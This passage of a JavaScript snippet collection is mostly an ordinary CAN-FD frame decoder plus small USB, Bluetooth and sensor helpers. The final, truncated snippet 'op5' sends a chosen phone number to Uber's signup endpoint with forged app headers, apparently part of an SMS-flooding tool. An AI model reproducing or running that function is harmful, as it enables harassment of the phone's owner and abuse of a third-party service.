spb) - m); // Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(0, 0, \"IDE = 1\", \"EXTENDED FRAME FORMAT\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 35; c < 39; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[38] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(t.sample, t.sample + spb - m, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (rtr_mode == false)\n\t\t\t\t{\n\t\t\t\t\tstate = GET_DATA;\n\t\t\t\t}\n\t\t\t\telse\t// Skip the data in case of RTR frame\n\t\t\t\t{\n\t\t\t\t\tstate = GET_CRC;\n\t\t\t\t}\n\n\t\t\t\tbreak;\n\n\t\t\tcase GET_DATA:\n\t\t\t\tdb = 0;\n\t\t\t\tif(edl_mode)\n\t\t\t\t{\n\t\t\t\t\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \t// use High speed since now\n\t\t\t\t}\n\n\t\t\t\twhile (db < (data_size * 8)) \t// Read data bits\n\t\t\t\t{\n\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t{\n\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\n\t\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t\t// Regular bitif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\tb++;\n\t\t\t\t\t\tdb++;\n\t\t\t\t\t}\n\n\t\t\t\t\trb++;\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\t\telse\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\n\t\t\t\t}\n\n\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t{\n\t\t\t\t\tt = trs_go_after(ch,bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\tstate = GET_SOF;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tb -= (data_size * 8);\t// Now interpret those bits as bytes\n\t\t\t\tpkt_data = \"\";\n\n\t\t\t\tfor (i = 0; i < data_size; i++)\n\t\t\t\t{\n\t\t\t\t\tval = 0;\n\n\t\t\t\t\tfor (c = 0; c < 8; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + (i * 8) + c];\n\t\t\t\t\t}\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb) + m, bit_pos[b + (i * 8) + 7] + (0.5 * spb) - m); \t// Add the ID item\n\t\t\t\t\telse\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb_hs) + m_hs, bit_pos[b + (i * 8) + 7] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"DATA: \");\n\t\t\t\t\tdec_item_add_pre_text(\"D: \");\n\t\t\t\t\tdec_item_add_pre_text(\"D \");\n\t\t\t\t\tdec_item_add_data(val);\n\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\n\t\t\t\t\tpkt_data += int_to_str_hex(val) + \" \";\n\t\t\t\t}\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tpkt_add_item(bit_pos[b] - (0.5 * spb), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb), \"DATA\", pkt_data, dark_colors.gray, channel_color);\n\t\t\t\telse\n\t\t\t\t\tpkt_add_item(bit_pos[b] - (0.5 * spb_hs), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb_hs), \"DATA\", pkt_data, dark_colors.gray, channel_color);\n\n\t\t\t\tb += (data_size * 8);\n\t\t\t\tstate = GET_CRC;\n\n\t\t\t\t// TO DO:\n\t\t\t\t// correct all start and end samples\n\t\t\t\t// add packet for CRC, and error frames\n\t\t\t\t// add the packet stop\n\t\t\tbreak;\n\n\t\t\tcase GET_CRC:\n\t\t\t\tvar nbr_stf_b = 0;\n\t\t\t\tdb = 0;\n\t\t\t\tif(edl_mode)\n\t\t\t\t{\n\t\t\t\t\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \t// use High speed since now\n\n\t\t\t\t\twhile (db-nbr_stf_b < crc_len) //read crc bits\n\t\t\t\t\t{\n\t\t\t\t\t\tif (db % 5 ==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_CROSS);\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t\tnbr_stf_b++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t // Regular bit\n\t\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tlast_bit = bits[b];\n\n\t\t\t\t\t\t\tb++;\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trb++;\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\t\tstate = GET_SOF;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tval = 0;\n\t\t\t\t\tb -= crc_len;\n\n\t\t\t\t\tfor (c = 0; c < crc_len; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + c];\n\t\t\t\t\t}\n\n\t\t\t\t\tcrc_rg = 0;\t\t// Now calculate our own crc to compare\n\n\n\t\t\t\t\tfor (c = 1; c < b; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcrc_nxt = bits[c] ^ ((crc_rg >> (crc_len)) & 0x1);\n\t\t\t\t\t\tcrc_rg = crc_rg << 1;\n\n\t\t\t\t\t\tif (crc_nxt == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (crc_len==17)\n\t\t\t\t\t\t\t\tcrc_rg ^= 0x3685B;\n\t\t\t\t\t\t\telse if (crc_len==21)\n\t\t\t\t\t\t\t\tcrc_rg ^= 0x302898;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (crc_len==17)\n\t\t\t\t\t\t\tcrc_rg &= 0x1ffff;\n\t\t\t\t\t\telse if (crc_len==21)\n\t\t\t\t\t\t\tcrc_rg &= 0x1fffff\n\t\t\t\t\t}\n\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + crc_len-1] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"CRC : \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC\");\n\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (val == crc_rg)\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\"\");\n\t\t\t\t\t\tpkt_add_item(-1, -1 ,\"CRC\", int_to_str_hex(val) + \" OK\", dark_colors.yellow, channel_color);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG, Should be: \" + int_to_str_hex(crc_rg));\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG!\");\n\t\t\t\t\t\tdec_item_add_post_text(\"E!\");\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"CRC\", int_to_str_hex(val) + \"(WRONG)\", dark_colors.red, channel_color);\n\n\t\t\t\t\t\tpkt_start(\"CRC ERROR\");\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (captured)\",int_to_str_hex(val), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (calculated)\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_add_post_text(\"!\");\n\t\t\t\t\t}\n\n\t\t\t\t\tb += crc_len-1;\n\t\t\t\t\tbit_pos[b] += spb;\n\t\t\t\t\tstate = GET_ACK;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\twhile (db < 16) //read crc bits\n\t\t\t\t\t{\n\t\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\n\t\t\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t // Regular bit\n\t\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\t\tb++;\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trb++;\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\t\tstate = GET_SOF;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tval = 0;\n\t\t\t\t\tb -= 16;\n\n\t\t\t\t\tfor (c = 0; c < 15; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + c];\n\t\t\t\t\t}\n\n\t\t\t\t\tcrc_rg = 0;\t\t// Now calculate our own crc to compare\n\n\t\t\t\t\tfor (c = 0; c < b; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcrc_nxt = bits[c] ^ ((crc_rg >> 14) & 0x1);\n\t\t\t\t\t\tcrc_rg = crc_rg << 1;\n\n\t\t\t\t\t\tif (crc_nxt == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcrc_rg ^= 0x4599;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tcrc_rg &= 0x7fff;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb) + m, bit_pos[b + 14] + (0.5 * spb) - m); \t// Add the ID item\n\t\t\t\t\telse\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + 14] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"CRC : \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC\");\n\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (val == crc_rg)\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\"\");\n\t\t\t\t\t\tpkt_add_item(-1, -1 ,\"CRC\", int_to_str_hex(val) + \" OK\", dark_colors.yellow, channel_color);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG, Should be: \" + int_to_str_hex(crc_rg));\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG!\");\n\t\t\t\t\t\tdec_item_add_post_text(\"E!\");\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"CRC\", int_to_str_hex(val) + \"(WRONG)\", dark_colors.red, channel_color);\n\n\t\t\t\t\t\tpkt_start(\"CRC ERROR\");\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (captured)\",int_to_str_hex(val), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (calculated)\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_add_post_text(\"!\");\n\t\t\t\t\t}\n\n\t\t\t\t\tb += 15;\n\t\t\t\t\tstate = GET_ACK;\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase GET_ACK: \t// and the EOF too.\n\t\t\t\tbit_pos[b] -= spb;// CRC delimiter\n\t\t\t\tack_chk = bit_sampler_next(ch);\n\t\t\t\tbit_sampler_next(ch); \t// ACK delimiter\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tdec_item_new(ch,bit_pos[b] + (1.5 * spb) + m, bit_pos[b] + (3.5 * spb) - m); \t// Add the ACK item\n\t\t\t\telse\n\t\t\t\t\tdec_item_new(ch,bit_pos[b] + (2.5 * spb_hs) + m, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m); \t// Add the ACK item\n\n\t\t\t\tif(ack_chk == 1)\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"NO ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"NACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"!A\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"A\");\n\t\t\t\t}\n\t\t\t\tpkt_add_item(-1, -1, \"ACK\", ack_chk.toString(10), dark_colors.black, channel_color);\n\t\t\t\teof_chk = 0;\n\t\t\t\tfor (c = 0; c < 7; c++)\n\t\t\t\t{\n\t\t\t\t\teof_chk += bit_sampler_next(ch);\n\t\t\t\t}\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] + (3.5 * spb) + m, bit_pos[b] + (10.5 * spb) - m); \t// Add the EOF item\n\t\t\t\telse\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m, bit_pos[b] + (2.5 * spb_hs) + 9*spb - m); \t// Add the EOF item\n\n\t\t\t\tif (eof_chk == 7)\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"END OF FRAME OK\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF OK\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF\");\n\t\t\t\t\tdec_item_add_pre_text(\"E\");\n\t\t\t\t\tpkt_add_item(-1, -1, \"EOF\", \"\", dark_colors.blue, channel_color);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"END OF FRAME ERR\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF ERR!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!EOF!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!E!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!\");\n\t\t\t\t\tpkt_add_item(-1, -1, \"EOF\",\"MISSING!\", dark_colors.red, channel_color);\n\t\t\t\t}\n\n\t\t\t\tpkt_end();\n\n\t\t\t\tt = trs_go_after(ch, bit_pos[b] + (10.5 * spb));\n\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\tstate = GET_SOF;\n\t\t\t\t//dec_item_new(ch, bit_pos[0] - (0.5 * spb) + m, bit_pos[b] + (0.5 * spb) - m); \t//<=========================DEBUG ALL THE FRAME\n\t\t\tbreak;\n\t\t}\n\t}\n}","function sendCompleted(usbEvent) {\n\tif (chrome.runtime.lastError) {\n\t\tconsole.error(\"sendCompleted Error:\", chrome.runtime.lastError.message);\n\t}\n\n\tif (usbEvent) {\n\t\tif (usbEvent.data) {\n\t\t\tvar buf = new Uint8Array(usbEvent.data);\n\t\t\tconsole.log(\"sendCompleted Buffer:\", usbEvent.data.byteLength, buf);\n\t\t}\n\t\tif (usbEvent.resultCode !== 0) {\n\t\t\tchangeState(state.connected);\n\t\t\terrorln(\"Error writing to device: \" + chrome.runtime.lastError.message);\n\t\t}\n\t}\n}","getPower() {\n console.log('getPower called');\n\n return this.getLampResURI()\n .then(response => {\n return response.power.value;\n });\n }","function getvolume(dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-15';\n webphone_api.plhandler.GetVolume(dev, callback);\n }\n}","function getBzData(uri, method) {\n var dfd = $.Deferred();\n\n // defer get binary\n var request = new XMLHttpRequest();\n request.onload = function () {\n // Process the response\n if (request.status >= 200 && request.status < 300) {\n // If successful\n console.log('request-received');\n\n var bytes = bz2.decompress(new Uint8Array(request.response));\n var jsonObj = JSON.parse(utfDecoder.decode(bytes));\n dfd.resolve(jsonObj);\n } else {\n // If failed\n dfd.reject({\n status: request.status,\n statusText: request.statusText\n });\n }\n }\n request.open('GET', uri, true);\n request.responseType = \"arraybuffer\";\n request.send();\n\n return dfd.promise();\n }","function getHumidity(){\n execFile('./scripts/humidity', ['hum'], (error, stdout, stderr) => {\n if (error) {\n console.error('stderr', stderr);\n throw error;\n }\n console.log('hum: ' + stdout);\n readData.hum = stdout\n })\n}","function onEvent(usbEvent) {\n\tconsole.log(\"onEvent\");\n\tif (usbEvent.resultCode) {\n\t\tif (usbEvent.resultCode == USB_ERROR_TRANSFER_FAILED) {\n\t\t\t// Device is connected but we failed to send data.\n\t\t\tchangeState(state.connected);\n\t\t} else if (usbEvent.resultCode == USB_ERROR_DEVICE_DISCONNECTED) {\n\t\t\tchangeState(state.disconnected);\n\t\t}\n\t\tconsole.log(chrome.runtime.lastError.message + \"(code: \" + usbEvent.resultCode + \") [onEvent]\");\n\t\treturn;\n\t}\n\n\tvar dv = new DataView(usbEvent.data);\n\tvar len = dv.getUint8(0);\n\tvar cmd = dv.getUint8(1);\n\n\tswitch (cmd) {\n\t\tcase CMD_DEBUG:\n\t\t{\n\t\t\tvar msg = \"\";\n\t\t\tfor (var i = 0; i < len; i++) {\n\t\t\t\tmsg += String.fromCharCode(dv.getUint8(i+2));\n\t\t\t}\n\t\t\tmessageln(\"debug: '\" + msg + \"'\");\n\t\t\tbreak;\n\t\t}\n\t\tcase CMD_PING:\n\t\t\tmessageln(\"ping\");\n\t\t\tbreak;\n\t\tcase CMD_VERSION:\n\t\t{\n\t\t\tvar version = \"\" + dv.getUint8(2) + \".\" + dv.getUint8(3);\n\t\t\tmessageln(\"command: Version \" + version);\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\terrorln(\"unknown command\");\n\t\t\tbreak;\n\t}\n\n\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n}","async function enableBloodPressure() {\n const command = hexToBase64(\"55 aa 04 02 01 f8\");\n // console.log(\"TCL: enableBloodPressure -> command\", command)\n const didWrite = await Bluetooth.writeToDevice(command);\n // console.log(\"TCL: enableBloodPressure -> didWrite\", didWrite)\n return didWrite;\n}","_pingDevice () {\n this._ble.read(\n BoostBLE.service,\n BoostBLE.characteristic,\n false\n );\n }","RetrieveBeaconBlock(blockHash = '', verbosity = '1') {}","async function requestBarcodePrinter() {\n console.log(navigator)\n navigator.usb &&\n navigator.usb\n .requestDevice({\n filters: [\n {\n vendorId: 5380,\n // classCode: 0xff, // vendor-specific\n // protocolCode: 0x01,\n },\n ],\n })\n .then(selectedDevice => {\n setBarcodePrinter(selectedDevice)\n })\n .catch(errorInfo => {\n console.log(errorInfo)\n // message.error(i18n.t`Cannot find label printer`)\n })\n }","async GetValueBytes(id, command) {\n var packet = new DpsPacket(id, DpsConstants.sender, command, [0,0,0,0,0,0,0,0]);\n var result = await this.PacketIO(packet);\n if ((result && (result.sender != id || result.command != command)) || result == null) return null;\n else return result.data;\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\n return new Promise((resolve, reject) => {\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\n console.log(\"Sending 'START DFU' command\");\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\n .then( () => this._send_packet_data(image_size_packet) )\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\n //TODO .then( () => this._clear_received_response() )\n });\n }","async function op5(numero, quantidade) {\n\t\n\tvar ubereats = await tools.curl('https://cn-phx2.cfe.uber.com/rt/silk-screen/submit-form', `{\"formContainerAnswer\":{\"formAnswer\":{\"flowType\":\"INITIAL\",\"screenAnswers\":[{\"screenType\":\"PHONE_NUMBER_INITIAL\",\"fieldAnswers\":[{\"fieldType\":\"PHONE_COUNTRY_CODE\",\"phoneCountryCode\":\"55\"},{\"fieldType\":\"PHONE_NUMBER\",\"phoneNumber\":\"${numero}\"},{\"fieldType\":\"THIRD_PARTY_CLIENT_ID\",\"thirdPartyClientID\":\"\"}]}],\"firstPartyClientID\":\"\"}}}`, {\n\t\t'Host': 'cn-phx2.cfe.uber.com',\n\t\t'x-uber-client-name': 'eats',\n\t\t'x-uber-device': 'android',\n\t\t'x-uber-device-language': 'pt_BR',\n\t\t'x-uber-client-version': '1.277.10005',\n\t\t'accept': 'application/json',\n\t\t'content-type': 